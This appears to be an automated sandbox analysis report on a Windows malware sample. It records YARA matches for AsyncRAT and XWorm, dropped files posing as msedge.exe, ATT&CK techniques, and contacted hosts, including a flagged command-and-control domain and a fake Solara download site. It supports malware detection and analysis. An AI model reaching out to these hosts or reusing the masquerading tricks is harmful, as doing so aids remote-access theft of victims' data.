Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\System User.exe	Queries volume information: C:\Users\user\AppData\Roaming\System User.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\System User.exe	Queries volume information: C:\Users\user\AppData\Roaming\System User.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\System User.exe	Queries volume information: C:\Users\user\AppData\Roaming\System User.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\System User.exe	Queries volume information: C:\Users\user\AppData\Roaming\System User.exe VolumeInformation

Source: C:\Users\user\Desktop\YgJ5inWPQO.exe

Code function: 0_2_00007FF7FF58D080 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_00007FF7FF58D080

Source: C:\Users\user\Desktop\YgJ5inWPQO.exe

Code function: 0_2_00007FF7FF5A5EEC _get_daylight,_get_daylight,_get_daylight,GetTimeZoneInformation,

0_2_00007FF7FF5A5EEC

Source: C:\Users\user\AppData\Local\Temp\msedge.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Yara detected AsyncRAT

Source: Yara match	File source: 2.3.YgJ5inWPQO.exe.1d8a96bd23f.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000003.1477560662.000001D8A96BD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: YgJ5inWPQO.exe PID: 5352, type: MEMORYSTR

Source: msedge.exe, 0000000C.00000002.2749735501.000000001B4E3000.00000004.00000020.00020000.00000000.sdmp, msedge.exe, 0000000C.00000002.2737051425.0000000000919000.00000004.00000020.00020000.00000000.sdmp, msedge.exe, 0000000C.00000002.2749735501.000000001B536000.00000004.00000020.00020000.00000000.sdmp, msedge.exe, 0000000C.00000002.2749735501.000000001B499000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\AppData\Local\Temp\msedge.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\AppData\Local\Temp\msedge.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\AppData\Local\Temp\msedge.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct

Stealing of Sensitive Information

Yara detected XWorm

Source: Yara match	File source: 2.3.YgJ5inWPQO.exe.1d8a969d430.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.3.YgJ5inWPQO.exe.1d8a969d430.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.3.YgJ5inWPQO.exe.1d8a96bd23f.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.YgJ5inWPQO.exe.1d8a969d430.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.YgJ5inWPQO.exe.1d8a969d430.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.3.YgJ5inWPQO.exe.1d8a969d430.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.3.YgJ5inWPQO.exe.1d8a969d430.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.3.YgJ5inWPQO.exe.1d8a969d430.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.3.YgJ5inWPQO.exe.1d8a969d430.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.3.YgJ5inWPQO.exe.1d8a969d430.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.3.YgJ5inWPQO.exe.1d8a969d430.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.3.YgJ5inWPQO.exe.1d8a969d430.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.0.msedge.exe.3d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.3.YgJ5inWPQO.exe.1d8a969d430.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.3.YgJ5inWPQO.exe.1d8a96bd23f.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000003.1479245702.000001D8A966B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1485033909.000001D8A9686000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1477560662.000001D8A96BD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000000.1480505898.00000000003D2000.00000002.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1495329200.000001D8A969D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1477753556.000001D8A9689000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2742589628.0000000002601000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1486802746.000001D8A968D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1486429771.000001D8A9688000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: YgJ5inWPQO.exe PID: 5352, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: msedge.exe PID: 5560, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Roaming\System User.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\msedge.exe, type: DROPPED

Remote Access Functionality

Yara detected XWorm

Source: Yara match	File source: 2.3.YgJ5inWPQO.exe.1d8a969d430.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.3.YgJ5inWPQO.exe.1d8a969d430.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.3.YgJ5inWPQO.exe.1d8a96bd23f.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.YgJ5inWPQO.exe.1d8a969d430.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.YgJ5inWPQO.exe.1d8a969d430.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.3.YgJ5inWPQO.exe.1d8a969d430.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.3.YgJ5inWPQO.exe.1d8a969d430.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.3.YgJ5inWPQO.exe.1d8a969d430.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.3.YgJ5inWPQO.exe.1d8a969d430.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.3.YgJ5inWPQO.exe.1d8a969d430.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.3.YgJ5inWPQO.exe.1d8a969d430.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.3.YgJ5inWPQO.exe.1d8a969d430.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.0.msedge.exe.3d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.3.YgJ5inWPQO.exe.1d8a969d430.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.3.YgJ5inWPQO.exe.1d8a96bd23f.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000003.1479245702.000001D8A966B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1485033909.000001D8A9686000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1477560662.000001D8A96BD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000000.1480505898.00000000003D2000.00000002.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1495329200.000001D8A969D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1477753556.000001D8A9689000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2742589628.0000000002601000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1486802746.000001D8A968D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1486429771.000001D8A9688000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: YgJ5inWPQO.exe PID: 5352, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: msedge.exe PID: 5560, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Roaming\System User.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\msedge.exe, type: DROPPED

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	12 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	OS Credential Dumping	2 System Time Discovery	Remote Services	11 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	2 Scheduled Task/Job	12 Process Injection	11 Deobfuscate/Decode Files or Information	LSASS Memory	2 File and Directory Discovery	Remote Desktop Protocol	Data from Removable Media	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Command and Scripting Interpreter	21 Registry Run Keys / Startup Folder	2 Scheduled Task/Job	12 Obfuscated Files or Information	Security Account Manager	34 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 Scheduled Task/Job	Login Hook	21 Registry Run Keys / Startup Folder	2 Software Packing	NTDS	1 Query Registry	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	1 PowerShell	Network Logon Script	Network Logon Script	1 Timestomp	LSA Secrets	561 Security Software Discovery	SSH	Keylogging	13 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Masquerading	DCSync	151 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	151 Virtualization/Sandbox Evasion	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	12 Process Injection	/etc/passwd and /etc/shadow	11 System Network Configuration Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
YgJ5inWPQO.exe	26%	ReversingLabs	Win64.Backdoor.Jalapeno

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\msedge.exe	100%	Avira	TR/Spy.Gen
C:\Users\user\AppData\Roaming\System User.exe	100%	Avira	TR/Spy.Gen
C:\Users\user\AppData\Local\Temp\msedge.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\dddd.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\System User.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\_MEI4322\VCRUNTIME140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI4322\_bz2.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI4322\_decimal.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI4322\_hashlib.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI4322\_lzma.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI4322\_socket.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI4322\libcrypto-3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI4322\python313.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI4322\select.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI4322\unicodedata.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\dddd.exe	63%	ReversingLabs	Win64.Trojan.Heracles
C:\Users\user\AppData\Local\Temp\msedge.exe	82%	ReversingLabs	Win32.Exploit.Xworm
C:\Users\user\AppData\Roaming\System User.exe	82%	ReversingLabs	Win32.Exploit.Xworm

Name	IP	Active	Malicious	Reputation
nodejs.org	104.20.22.46	true	false	high
getsolara.dev	104.21.93.27	true	false	high
edge-term4-fra2.roblox.com	128.116.123.3	true	false	high
www.nodejs.org	104.20.22.46	true	false	high
ip-api.com	208.95.112.1	true	false	high
hope-asia.gl.at.ply.gg	147.185.221.18	true	true	unknown
clientsettings.roblox.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
hope-asia.gl.at.ply.gg	true	unknown
https://www.nodejs.org/dist/v18.16.0/node-v18.16.0-x64.msi	false	high
https://getsolara.dev/asset/discord.json	false	high
https://clientsettings.roblox.com/v2/client-version/WindowsPlayer/channel/live	false	high
https://getsolara.dev/api/endpoint.json	false	high
http://ip-api.com/line/?fields=hosting	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
http://127.0.0.1:6463	dddd.exe, 0000000E.00000002.1731703513.000002623414E000.00000004.00000800.00020000.00000000.sdmp	false	unknown
http://www.nodejs.org	dddd.exe, 0000000E.00000002.1731703513.00000262341EF000.00000004.00000800.00020000.00000000.sdmp	false	high
https://crosoft.com/pkiops/cer	powershell.exe, 0000001B.00000002.1758362165.0000013850D50000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://schemas.mic	powershell.exe, 0000001E.00000002.1938005634.00000254D6363000.00000004.00000020.00020000.00000000.sdmp	false	high
http://www.microsoft.co	powershell.exe, 0000001B.00000002.1757718254.0000013850C10000.00000004.00000020.00020000.00000000.sdmp	false	high
https://contoso.com/License	powershell.exe, 00000022.00000002.2145283227.0000020B90071000.00000004.00000800.00020000.00000000.sdmp	false	high
https://docs.python.org/3/library/importlib.html#importlib.abc.InspectLoader.get_source	YgJ5inWPQO.exe, 00000002.00000002.1494252029.000001D8A9124000.00000004.00001000.00020000.00000000.sdmp	false	high
https://ncs.roblox.com/upload	dddd.exe, 0000000E.00000002.1731703513.00000262341C9000.00000004.00000800.00020000.00000000.sdmp, dddd.exe, 0000000E.00000002.1731703513.00000262341EF000.00000004.00000800.00020000.00000000.sdmp, dddd.exe, 0000000E.00000002.1731703513.0000026234167000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.nodejs.org	dddd.exe, 0000000E.00000002.1731703513.00000262341EF000.00000004.00000800.00020000.00000000.sdmp	false	high
https://485b1b07.solaraweb-alj.pages.dev/download/static/files/Solara.Dir	dddd.exe, 0000000E.00000002.1731703513.00000262341DF000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://485b1b07.solaraweb-alj.pages.dev/download/static/files/Solara.Dir.zip	dddd.exe, 0000000E.00000002.1731703513.00000262341EF000.00000004.00000800.00020000.00000000.sdmp, dddd.exe, 0000000E.00000002.1731703513.00000262341CD000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://docs.python.org/3/library/importlib.html#importlib.abc.PathEntryFinder.find_spec	YgJ5inWPQO.exe, 00000002.00000002.1494252029.000001D8A90A0000.00000004.00001000.00020000.00000000.sdmp	false	high
https://github.com/tensorflow/datasets/blob/master/tensorflow_datasets/core/utils/resource_utils.py#	YgJ5inWPQO.exe, 00000002.00000002.1494569830.000001D8A93F3000.00000004.00000020.00020000.00000000.sdmp, YgJ5inWPQO.exe, 00000002.00000002.1494594655.000001D8A93F6000.00000004.00000020.00020000.00000000.sdmp, YgJ5inWPQO.exe, 00000002.00000003.1491822955.000001D8A93F6000.00000004.00000020.00020000.00000000.sdmp, YgJ5inWPQO.exe, 00000002.00000003.1487788295.000001D8A93F4000.00000004.00000020.00020000.00000000.sdmp, YgJ5inWPQO.exe, 00000002.00000003.1493147338.000001D8A93F2000.00000004.00000020.00020000.00000000.sdmp, YgJ5inWPQO.exe, 00000002.00000003.1487765708.000001D8A93EE000.00000004.00000020.00020000.00000000.sdmp	false	high
https://docs.python.org/3/library/importlib.html#importlib.abc.ResourceLoader.get_data	YgJ5inWPQO.exe, 00000002.00000003.1485952577.000001D8A9410000.00000004.00000020.00020000.00000000.sdmp, YgJ5inWPQO.exe, 00000002.00000003.1489435505.000001D8A9411000.00000004.00000020.00020000.00000000.sdmp, YgJ5inWPQO.exe, 00000002.00000002.1494618160.000001D8A9411000.00000004.00000020.00020000.00000000.sdmp, YgJ5inWPQO.exe, 00000002.00000003.1488071941.000001D8A9411000.00000004.00000020.00020000.00000000.sdmp	false	high
https://aka.ms/vs/17/release/vc_redist.x64.exe	YgJ5inWPQO.exe, 00000002.00000003.1477560662.000001D8A96BD000.00000004.00000020.00020000.00000000.sdmp, YgJ5inWPQO.exe, 00000002.00000002.1497896040.000001D8A98E0000.00000004.00000020.00020000.00000000.sdmp, dddd.exe, 0000000E.00000000.1480645600.0000026232202000.00000002.00000001.01000000.00000009.sdmp, dddd.exe, 0000000E.00000002.1731703513.00000262341EF000.00000004.00000800.00020000.00000000.sdmp	false	high
https://485b1b07.solaraweb-alj.pages.dev/download/static/files/Solara.DirOf	dddd.exe, 0000000E.00000002.1731703513.0000026234122000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://contoso.com/	powershell.exe, 00000022.00000002.2145283227.0000020B90071000.00000004.00000800.00020000.00000000.sdmp	false	high
https://nuget.org/nuget.exe	powershell.exe, 00000014.00000002.1605494790.0000021DC04C4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.1733400343.0000013848664000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001E.00000002.1915994439.00000254CDE82000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000022.00000002.2145283227.0000020B90071000.00000004.00000800.00020000.00000000.sdmp	false	high
http://crl.micft.cMicRosof	powershell.exe, 0000001E.00000002.1940467357.00000254D64E6000.00000004.00000020.00020000.00000000.sdmp	false	high
https://peps.python.org/pep-0205/	YgJ5inWPQO.exe, 00000002.00000003.1473302298.000001D8A78EA000.00000004.00000020.00020000.00000000.sdmp, YgJ5inWPQO.exe, 00000002.00000002.1496226400.000001D8A97FC000.00000004.00001000.00020000.00000000.sdmp	false	high
http://www.microsoft.c	YgJ5inWPQO.exe, 00000000.00000003.1464219398.000001EB87FF0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000022.00000002.2195632946.0000020BF8D56000.00000004.00000020.00020000.00000000.sdmp	false	high
http://127.0.0.1:6463/rpc?v=1	dddd.exe, 0000000E.00000002.1731703513.0000026234051000.00000004.00000800.00020000.00000000.sdmp, dddd.exe, 0000000E.00000002.1731703513.000002623414E000.00000004.00000800.00020000.00000000.sdmp	false	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	msedge.exe, 0000000C.00000002.2742589628.000000000261B000.00000004.00000800.00020000.00000000.sdmp, dddd.exe, 0000000E.00000002.1731703513.00000262340ED000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.1580676392.0000021DB0451000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.1667545883.00000138385F1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001E.00000002.1802770093.00000254BDE24000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000022.00000002.1986459477.0000020B80001000.00000004.00000800.00020000.00000000.sdmp	false	high
http://edge-term4-fra2.roblox.com	dddd.exe, 0000000E.00000002.1731703513.00000262341EF000.00000004.00000800.00020000.00000000.sdmp	false	high
https://docs.python.org/3/library/importlib.html#importlib.abc.ExecutionLoader.get_filename	YgJ5inWPQO.exe, 00000002.00000003.1485952577.000001D8A9410000.00000004.00000020.00020000.00000000.sdmp, YgJ5inWPQO.exe, 00000002.00000003.1488071941.000001D8A9411000.00000004.00000020.00020000.00000000.sdmp, YgJ5inWPQO.exe, 00000002.00000003.1488956192.000001D8A9415000.00000004.00000020.00020000.00000000.sdmp, YgJ5inWPQO.exe, 00000002.00000003.1491431607.000001D8A9417000.00000004.00000020.00020000.00000000.sdmp, YgJ5inWPQO.exe, 00000002.00000002.1494252029.000001D8A90A0000.00000004.00001000.00020000.00000000.sdmp	false	high
https://github.com/python/cpython/blob/3.9/Lib/importlib/_bootstrap_external.py#L679-L688	YgJ5inWPQO.exe, 00000002.00000002.1494252029.000001D8A9124000.00000004.00001000.00020000.00000000.sdmp	false	high
https://nodejs.org	dddd.exe, 0000000E.00000002.1731703513.00000262341EF000.00000004.00000800.00020000.00000000.sdmp	false	high
http://nuget.org/NuGet.exe	powershell.exe, 00000014.00000002.1605494790.0000021DC04C4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.1733400343.0000013848664000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001E.00000002.1915994439.00000254CDE82000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000022.00000002.2145283227.0000020B90071000.00000004.00000800.00020000.00000000.sdmp	false	high
https://discord.com	dddd.exe, 0000000E.00000002.1731703513.0000026234051000.00000004.00000800.00020000.00000000.sdmp	false	high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000022.00000002.1986459477.0000020B8022A000.00000004.00000800.00020000.00000000.sdmp	false	high
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 00000014.00000002.1580676392.0000021DB0679000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.1667545883.000001383881A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001E.00000002.1802770093.00000254BE039000.00000004.00000800.00020000.00000000.sdmp	false	high
